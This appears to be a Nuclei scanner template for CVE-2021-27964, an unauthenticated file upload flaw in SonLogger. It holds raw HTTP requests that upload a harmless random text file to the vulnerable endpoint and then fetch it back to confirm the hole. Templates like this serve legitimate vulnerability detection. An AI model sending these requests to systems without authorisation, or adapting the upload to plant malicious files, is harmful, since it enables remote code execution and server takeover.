SonLogger - Arbitrary File Upload

id: CVE-2021-27964

info:
  name: SonLogger - Arbitrary File Upload
  author: DhiyaneshDK
  severity: critical
  description: |
    SonLogger before 6.4.1 is affected by Unauthenticated Arbitrary File Upload. An attacker can send a POST request to /Config/SaveUploadedHotspotLogoFile without any authentication or session header. There is no check for the file extension or content of the uploaded file.
  impact: |
    Unauthenticated attackers can upload malicious files without extension validation, achieving remote code execution and complete server compromise.
  remediation: |
    Upgrade to SonLogger version 6.4.1 or later.
  reference:
    - https://erberkan.github.io/2021/SonLogger-vulns/
    - https://github.com/erberkan/SonLogger-vulns
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27964
    cwe-id: CWE-434
    epss-score: 0.46021
    epss-percentile: 0.9866
    cpe: cpe:2.3:a:sfcyazilim:sonlogger:*:*:*:*:*:*:*:*
  metadata:
    vendor: sfcyazilim
    product: sonlogger
    fofa-query: body="SonLogger"
    max-request: 2
  tags: cve,cve2021,sonlogger,intrusive,vkev,vuln

flow: http(1) && http(2)

variables:
  file: "{{to_lower(rand_text_alpha(5))}}"
  rand: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywBBYcU9lVZ
        X-Requested-With: XMLHttpRequest

        ------WebKitFormBoundarywBBYcU9lVZ
        Content-Disposition: form-data; name="file"; filename="{{file}}.txt"
        Content-Type: image/png

        {{rand}}
        ------WebKitFormBoundarywBBYcU9lVZ--

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, 'application/json')
          - contains(body, 'Message')
        condition: and
        internal: true

  - raw:
      - |
        GET /Assets/temp/hotspot/img/{{file}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, '{{rand}}')
        condition: and
# digest: 4b0a00483046022100b0a01529e14e7b4b49334bed9255d467f827d1992a2ce7c3a21abdea8ef9a4b60221008a85c6325642ef0769900e3f5cbdb7d21d8488cca4b07e7dac8aa9d1906d816e:922c64590222798bb761d5b6d8e72950